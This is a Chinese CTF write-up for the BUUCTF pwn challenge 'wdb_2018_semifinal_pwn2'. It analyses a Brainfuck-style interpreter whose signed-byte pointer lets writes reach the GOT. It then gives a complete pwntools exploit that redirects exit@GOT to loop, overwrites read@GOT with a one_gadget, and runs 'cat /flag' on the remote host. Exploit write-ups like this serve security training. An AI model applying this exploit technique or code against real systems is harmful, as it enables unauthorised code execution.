又是一个虚拟机的题,干到一半想放弃了,搜不到wp又回来慢慢作。

先看题目:

  for ( byte_6024C1 = 0; ; ++byte_6024C1 ){byte_6028E1 = byte_6024E0[byte_6024C1];if ( !byte_6028E1 )break;byte_6028E0 = 0;if ( byte_6028E1 == 62 )                    // >  先后移指针++byte_6024C0;if ( byte_6028E1 == 60 )                    // <--byte_6024C0;if ( byte_6028E1 == 43 )                    // +  指针处加1++byte_6020C0[byte_6024C0];if ( byte_6028E1 == 45 )                    // ---byte_6020C0[byte_6024C0];if ( byte_6028E1 == 46 )                    // . 输出_IO_putc(byte_6020C0[byte_6024C0], stdout);if ( byte_6028E1 == 44 )                    // , 输入read(0, &byte_6020C0[byte_6024C0], 1uLL);while ( byte_6028E1 == 91 && !byte_6020C0[byte_6024C0] )// [{if ( byte_6024E0[byte_6024C1] == 91 )++byte_6028E0;if ( byte_6024E0[byte_6024C1] == 93 ){v3 = byte_6028E0--;if ( v3 == 1 )break;}++byte_6024C1;}while ( byte_6028E1 == 93 && byte_6020C0[byte_6024C0] )// ]{if ( byte_6024E0[byte_6024C1] == 93 )++byte_6028E0;if ( byte_6024E0[byte_6024C1] == 91 ){v4 = byte_6028E0--;if ( v4 == 1 )break;}--byte_6024C1;}

一共8个功能符,<>向前向后移动指针; +-指针处值增减;.,分别是输出字符和输入字符

但干到一半才发现这个逗号有问题

read(0, &byte_6020C0[byte_6024C0], 1uLL);

在一个指针前边加了一个&变成地址,也就是指针的指针,这就导致这里不能正确读入。也许大部分人到这里就放弃了。

再看另一个坑点:

--byte_6024C0;

这里用到的两个指针byte_6024C0, byte_6020C0都是byte类型的,byte只有1字节还是有符号的,所以处理只 处理输入只有到127,向后只能到-128这就造成输入串只能是128位,向后可处理范围到-128

再看下附近可修改的内容

0x602020 <printf@got.plt>:    0x00007f4693749810  0x00000000004006f6
0x602030 <memset@got.plt>:   0x00007f4693866a30  0x00007f46937c0280
0x602040 <read@got.plt>: 0x00007f46937eb310  0x00007f46937293d0
0x602050 <setvbuf@got.plt>:  0x00007f4693763e80  0x0000000000400756
0x602060 <exit@got.plt>: 0x0000000000400766  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080 <stdout>:    0x00007f4693ab9620  0x0000000000000000
0x602090 <stdin>: 0x00007f4693ab88e0  0x0000000000000000
0x6020a0 <stderr>:    0x00007f4693ab9540  0x0000000000000000

最远可以到达read,这正是想要的,把read改成one就OK了,但是到这里就需要128字符,然后就退出了,所以

第1步要造个循环:

把got.exit改为_start这个需要的字符数不多,修改完exit后基本快用完了,这个改完后还可以加几个<尽量向前移动指针,不过空间很小移不了多少。

第2步由于第一步指针已经向前移了不少,只需要移到read+3修改3位就好了。

from pwn import *local = 0
if local == 1:p = process('./pwn')libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]libc_start_main_ret = 0x20840
else:p = remote('node4.buuoj.cn', 25916) libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')one = [0x45216, 0x4526a, 0xcd0f3, 0xcd1c8,0xf02a4,0xf02b0,0xf1147,0xf66f0 ]libc_start_main_ret = 0x20830elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'def change(tva, tvb):tva = tva[::-1]tvb = tvb[::-1]sv = ''for i in range(8):sv += '<'tmp = tva[i] - tvb[i]if tmp < 0:tmp = 0- tmpif tmp > 0x80:sv += '-'*(256-tmp)else:sv += '+'*tmpelif tmp > 0:if tmp > 0x80:sv += '+'*(256-tmp)else:sv += '-'*tmpreturn sv#0x602060 <exit@got.plt>:     0x0000000000400766  <--  0x400770
payload = '<'*(0xc0 - 0x68)+ change(p64(0x400766), p64(0x400770)) + '<'*(0x8+3) + '.<'*6
p.sendlineafter(b"Put the code: ", payload.encode())'''
0x602020 <printf@got.plt>:   0x00007f4693749810  0x00000000004006f6
0x602030 <memset@got.plt>:   0x00007f4693866a30  0x00007f46937c0280
0x602040 <read@got.plt>: 0x00007f46937eb310  0x00007f46937293d0
0x602050 <setvbuf@got.plt>:  0x00007f4693763e80  0x0000000000400756
0x602060 <exit@got.plt>: 0x0000000000400766  0x0000000000000000
0x602070:   0x0000000000000000  0x0000000000000000
0x602080 <stdout>:    0x00007f4693ab9620  0x0000000000000000
0x602090 <stdin>: 0x00007f4693ab88e0  0x0000000000000000
0x6020a0 <stderr>:    0x00007f4693ab9540  0x0000000000000000
'''
#gdb.attach(p, 'b*0x400b30')one_gadget = one[6]  #local 2 remote 6
target     = libc_elf.sym['read']
payload = '<'*0x8 + change(p64(target), p64(one_gadget)) + ','
p.sendlineafter(b"Put the code: ", payload.encode())p.sendline(b'cat /flag')
p.recv()

另外这时修改的时候也需要注意,如果把01改成FF应该是--,也就是找一个最近的路径。由于本地和远端的libc不同,one也不同,本地用2成功,远端用6成功,我这里第一步还可以多移几下然后后边可以多输入6个字符,也许其它的也能成功,不过概率不大。没试。

[BUUCTF-pwn] wdb_2018_semifinal_pwn2相关推荐

  1. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  2. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  7. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  8. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  9. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

  10. Buuctf(pwn) ez_pz_hackover_2016 泄露栈地址,retshellcode;调试计算

    32位,开启了RELRO保护,堆栈地址随机化 没有开启nx保护,可利用写入shellcode来获取shell 一开始给我们输出了参数s的地址 strcmp函数: 两个字符串自左向右逐个字符相比(按AS ...

最新文章

  1. 领度CEO廖睿:企业社交最大的阻力来自老板
  2. iOS开发拓展篇——如何把项目托管到GitHub
  3. Eclipse 为jar包加入 Java Source和Javadoc(如何向Eclipse中导入源码和doc)
  4. Java LocalDate类| toString()方法与示例
  5. Times33算法与最快的Hash表
  6. python工作流程_讨论 - 廖雪峰的官方网站
  7. 千方百剂创建账套服务器文件,千方百剂辅助工具使用手册图解
  8. C++语法基础--句柄类
  9. 实习僧-竞品分析报告
  10. python nlpir_中文分词工具--NLPIR/ICTCLAS的Python版本使用
  11. php 小米路由器_小米路由器固件修改
  12. python实现pdf阅读器_PyQt5 从零开始制作 PDF 阅读器(一)
  13. 如何查看华为android系统,如何查看华为手机系统更新的新增功能
  14. 复化梯形公式求积算法 c语言,c语言版本复合梯形法、辛普森法求积公式
  15. 苹果MacBook 装双系统win10蓝牙找不到的方法
  16. 杨绛先生70句金句,请珍藏
  17. mininet sflow 资料和经验
  18. selenium处理富文本框
  19. HJY-E2B/4J、HJY-91A/8J电压继电器
  20. HC32L136国产超低功耗华大MCU芯片介绍

热门文章

  1. 如何修改打印服务器格式,打印机服务器设置了格式
  2. 对Titanic公开数据集进行缺失值统计
  3. 十分钟入门Pandas
  4. 初中数学老师计算机培训反思,初中数学老师考试反思
  5. Cent OS 7安装redis
  6. python逻辑运算符的优先级_Python逻辑运算符
  7. 如何在Mac上停止使用iCloud照片库?
  8. SAP BAdI 深度解读
  9. Games101-课程20笔记
  10. 双指数边缘平滑滤波器用于磨皮算法的尝试